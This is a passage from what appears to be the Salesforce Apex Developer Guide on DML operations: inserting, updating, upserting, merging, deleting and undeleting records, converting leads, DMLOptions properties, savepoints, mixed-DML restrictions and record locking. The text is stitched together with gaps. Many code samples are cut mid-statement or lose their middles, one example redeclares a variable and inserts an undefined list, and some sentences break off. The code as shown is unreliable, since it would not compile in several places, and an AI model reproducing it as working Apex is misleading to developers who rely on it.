by calling update on a list of contacts. This code counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
List<Contact> conList = [Select Department , Description from Contact];
for(Contact con : conList) {
if (con.Department == 'Finance') {
con.Description = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}
Another DML governor limit is the total number of rows that can be processed by DML operations in a single transaction, which is 10,000.
All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you insert 100 contacts
and update 50 contacts in the same transaction, your total DML processed rows are 150. You still have 9,850 rows left (10,000 - 150).
Note: If you execute DML operations within an anonymous block, they execute using the current user’s object and field-level
permissions.
Best Practices
With DML on SObjects, it’s best to construct new instances and only update the fields you wish to modify without querying other fields.
If you query fields other than the fields you wish to update, you may revert queried field values that could have changed between the
query and the DML.
132
Apex Developer Guide Working with Data in Apex
In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Lightning Platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;
Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// DML statement
insert acctList;
133
Apex Developer Guide Working with Data in Apex
This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);
One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial
record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false
for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object
array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered.
By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t
and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
• Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately
interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most
database procedural languages.
• Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML
operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this
form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge
success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.
Note: Most operations overlap between the two, except for a few.
• The convertLead operation is only available as a Database class method, not as a DML statement.
• The Database class also provides methods not available as DML statements, such as methods transaction control and rollback,
emptying the Recycle Bin, and methods related to SOQL queries.
SEE ALSO:
Apex Reference Guide: Database Class Methods
134
Apex Developer Guide Working with Data in Apex
DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.
Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
This example inserts three account records and updates an existing account record. First, three Account sObjects are created and added
to a list. An insert statement bulk inserts the list of accounts as an argument. Then, the second account record is updated, the billing city
is updated, and the update statement is called to persist the change in the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
insert accts;
135
Apex Developer Guide Working with Data in Apex
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
136
Apex Developer Guide Working with Data in Apex
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
This example relates a new opportunity to an existing account. The Account sObject has a custom field marked as External ID. An
opportunity record is associated to the account record through the custom External ID field. The example assumes that:
• The Account sObject has an external ID field of type text and named MyExtID
• An account record exists where MyExtID__c = ‘SAP111111’
Before the new opportunity is inserted, the account record is added to this opportunity as an sObject through the
Opportunity.Account relationship field.
137
Apex Developer Guide Working with Data in Apex
MyExtID__c='SAP111111');
The previous example performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesn’t exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
• Create the child sObject and populate its required fields, and optionally other fields.
• Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.
• Set the foreign key field of the child sObject to the parent reference sObject you just created.
• Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.
• Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the child’s index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
types. For more information, see Creating Records for Different Object Types in the SOAP API Developer Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);
138
Apex Developer Guide Working with Data in Apex
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug(' The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');
}
}
}
}
Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
exists, the upsert statement or Database method uses the record’s ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
• If the key isn’t matched, then a new object record is created.
• If the key is matched once, then the existing object record is updated.
• If the key is matched multiple times, then an error is generated and the object record is not inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see Create Custom Fields.
Examples
The following example updates the city name for all existing accounts in the city formerly known as Bombay, and also inserts a new
account in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
139
Apex Developer Guide Working with Data in Apex
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling.
This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a task to each record that was processed successfully. The task sObjects are saved in a list, which is then
bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
List<Database.upsertResult> uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();
140
Apex Developer Guide Working with Data in Apex
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}
Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits).
This example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship
between an asset and an opportunity line item. Before running the sample, create a custom text field on the Asset object named
Line_Item_Id__c and mark it as an external ID. For information on custom fields, see Salesforce Help.
Note: External ID fields used in upsert calls must be unique or the user must have the View All Data permission.
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);
141
Apex Developer Guide Working with Data in Apex
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c; // This line upserts the assets list with
// the Line_Item_Id__c field specified as the
// Asset field that should be used for matching
// the record that should be upserted.
} catch (DmlException e) {
System.debug(e.getMessage());
}
}
Merging Records
When you have duplicate lead, contact, case, or account records in the database, cleaning up your data and consolidating the records
might be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records
into one of the records, deletes the others, and reparents any related records.
Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which
is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record
remains in the database. This examples starts by creating a list of two accounts and inserts the list. Then it executes queries to get the
new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it
verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
try {
merge masterAcct mergeAcct;
} catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
142
Apex Developer Guide Working with Data in Apex
This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement).
The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge
result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The
example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is
moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];
143
Apex Developer Guide Working with Data in Apex
// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;
// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;
System.assertEquals(flag1, true);
System.assertEquals(flag2, true);
}
else {
for(Database.Error err : res.getErrors()) {
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}
Merge Considerations
When merging sObject records, consider the following rules and guidelines:
• Only leads, contacts, cases, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 159.
• You can pass a master record and up to two additional sObject records to a single merge method.
• Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records
to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge.
• External ID fields can’t be used with merge.
For more information on merging leads, contacts and accounts, see the Salesforce online help.
Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted
permanently from Salesforce, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.
144
Apex Developer Guide Working with Data in Apex
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling.
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.
145
Apex Developer Guide Working with Data in Apex
Example
The following example undeletes an account named 'Universal Containers'. The ALL ROWS keyword queries all rows for both top
level and aggregate relationships, including deleted records and archived activities.
Account a = new Account(Name='Universal Containers');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers'
ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling.
Undelete Considerations
Note the following when using the undelete statement.
• You can undelete records that were deleted as the result of a merge. However, the merge reparents the child objects, and that
reparenting can’t be undone.
• To identify deleted records, including records deleted as a result of a merge, use the ALL ROWS parameters with a SOQL query.
• See Referential Integrity When Deleting and Restoring Records.
SEE ALSO:
Querying All Records with a SOQL Statement
Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'
4. Optionally, the application determines whether opportunities should be created from the leads.
146
Apex Developer Guide Working with Data in Apex
5. The application uses the query (SELECT ... FROM LeadStatus WHERE IsConverted=true) to obtain the leads
with converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts can’t be
owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object, sets its status to converted, and then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
LeadStatus convertStatus = [SELECT Id, ApiName FROM LeadStatus WHERE IsConverted=true LIMIT
1];
lc.setConvertedStatus(convertStatus.ApiName);
147
Apex Developer Guide Working with Data in Apex
create option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed
on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce.
SEE ALSO:
Apex Reference Guide: Database Class
Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.
148
Apex Developer Guide Working with Data in Apex
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.
Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
149
Apex Developer Guide Working with Data in Apex
allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;
assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts.
150
Apex Developer Guide Working with Data in Apex
• useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Note: If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with
useDefaultRule set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0
and later, the case or lead is unassigned and doesn't get assigned to the default owner.
duplicateRuleHeader Property
The duplicateRuleHeader property determines whether a record that’s identified as a duplicate can be saved. Duplicate rules
are part of the Duplicate Management feature.
Using the duplicateRuleHeader property, you can set these options.
• allowSave: Indicates whether a record that’s identified as a duplicate can be saved.
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
emailHeader Property
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
• Creation of a new case or task
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
151
Apex Developer Guide Working with Data in Apex
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
• triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If
this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is
sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
• triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be
automatically triggered by creating, editing, or deleting a contact for a case.
• triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This
email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail
is set to true.
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
insert c;
dlo.EmailHeader.triggerAutoResponseEmail = true;
database.insert(ca, dlo);
Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent
is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for
group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
• Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
localeOptions Property
The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale
(language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO
language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another
152
Apex Developer Guide Working with Data in Apex
ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is
'fr_CA'.
optAllOrNone Property
The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all
changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are
committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.
Transaction Control
Read about transaction requests, generating and releasing savepoints, rolling back transactions, and more.
All requests are delimited by the trigger, class method, Web Service, Visualforce page, or anonymous block that executes the Apex code.
If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called
an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce
page has finished running, are the changes committed to the database. If the request doesn’t complete successfully, all database changes
are rolled back.
• Database.rollback(Savepoint) and Database.setSavepoint()don’t count against the DML row limit, but
count toward the DML statement limit. This behavior applies to all API versions.
• The ID on an sObject inserted after setting a savepoint isn’t cleared after a rollback. Attempting to insert the sObject using the variable
created before the rollback fails because the sObject variable has an ID. Updating or upserting the sObject using the same variable
also fails because the sObject isn’t in the database and, thus, can’t be updated. To perform further DML operations, create an sObject
variable without setting its ID.
The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xyz');
insert a;
Assert.isNull([SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
153
Apex Developer Guide Working with Data in Apex
a.AccountNumber = '123';
update a;
Assert.areEqual('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
Assert.isNull([SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);
In this example, the savepoint isn’t released before making the callout. The CalloutException informs you that you must release
all active savepoints before making the callout.
Savepoint sp = Database.setSavepoint();
try {
makeACallout();
} catch (System.CalloutException ex) {
Assert.isTrue(ex.getMessage().contains('All active Savepoints must be released before
making callouts.'));
}
In this example, DML is pending when the callout is made. The CalloutException informs you that you must roll back the
transaction before the callout is made or the transaction must be committed.
Savepoint sp = Database.setSavepoint();
insert new Account(name='Foo');
Database.releaseSavepoint(sp);
try {
makeACallout();
} catch (System.CalloutException ex) {
Assert.isTrue(ex.getMessage().contains('You have uncommitted work pending. Please commit
or rollback before calling out.'));
}
154
Apex Developer Guide Working with Data in Apex
• If there’s uncommitted work pending when Database.releaseSavepoint() is called, the uncommitted work isn’t rolled
back. It’s committed if the transaction succeeds.
• Attempts to roll back to a released savepoint result in a TypeException.
• Attempts to roll back after calling Database.releaseSavepoint() result in a
System.InvalidOperationException.
• Calling the Database.releaseSavepoint() method on a savepoint also releases nested savepoints, that is, any subsequent
savepoints created after a savepoint.
Note: This list includes sObjects that cannot be used together in the same DML transaction, but is not an exhaustive list.
• AuthSession
• ContentWorkspace
• FieldPermissions
• ForecastingShare
• Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations aren’t allowed.
• GroupMember
Note: With legacy Apex code saved using Salesforce API version 14.0 and earlier, you can insert and update a group member
with other sObjects in the same transaction.
• ObjectPermissions
• ObjectTerritory2AssignmentRule
• ObjectTerritory2AssignmentRuleItem
• PermissionSet
• PermissionSetAssignment
• QueueSObject
155
Apex Developer Guide Working with Data in Apex
• RuleTerritory2Association
• SetupEntityAccess
• Territory
• Territory2
• Territory2Model
• User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later when
UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later when the
user isn’t included in a Lightning Sync or Einstein Activity Capture configuration (either active or inactive) and the following fields
aren’t updated:
– UserRoleId
– IsActive
– ForecastEnabled
– IsPortalEnabled
– Username
– ProfileId
• UserPackageLicense
• UserRole
• UserTerritory
• UserTerritory2Association
If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single
request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example,
you can create an account with a save button, and then create a user with a non-null role with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.
156
Apex Developer Guide Working with Data in Apex
Note: Because validation for mixed DML operations is skipped during deployment, there can be a difference in the number of
test failures when tests are deployed versus when run in the user interface.
157
Apex Developer Guide Working with Data in Apex
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u = new User(alias = 'jsmith', email='[email protected]',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='[email protected]');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}
158
Apex Developer Guide Working with Data in Apex
}
}
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t
create, update, or delete ProcessInstance in the SOAP API.
159
Apex Developer Guide Working with Data in Apex
• When errors occur because of a bulk DML call that originates from SOAP API with default settings, or if the allOrNone parameter
of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
didn’t generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it’s also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt that includes only
those records that didn’t generate errors during the first and second attempts. If any record generates an error, the entire operation
fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”
Note:
– During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 322.
– Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are refired on this subset of records.
160
Apex Developer Guide Working with Data in Apex
Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you won’t hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
161
Apex Developer Guide Working with Data in Apex
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.
DML and Knowledge Objects
To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isn’t a system administrator and doesn’t have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesn’t contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav
As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}
Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period.
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and
other thread safety problems.
Locking in a SOQL For Loop
Avoiding Deadlocks
162
Apex Developer Guide Working with Data in Apex
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and other
thread safety problems.
While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];
Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.
Locking Considerations
• While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while they’re locked.
• If you attempt to lock a record currently locked by another client, your process waits a maximum of 10 seconds for the lock to be
released before acquiring a new lock. If the wait time exceeds 10 seconds, a QueryException is thrown. Similarly, if you attempt
to update a record currently locked by another client and the lock isn’t released within a maximum of 10 seconds, a DmlException
is thrown.
• If a client attempts to modify a locked record, the update operation can succeed if the lock gets released within a short amount of
time after the update call was made. In this case, it’s possible that the updates overwrite changes made by the locking client if the
second client obtained an old copy of the record. To prevent the overwrite from happening, the second client must lock the record
first. The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client
can use this copy to make new updates.
• The record locks that are obtained in Apex via FOR UPDATE clause are automatically released when making callouts. The information
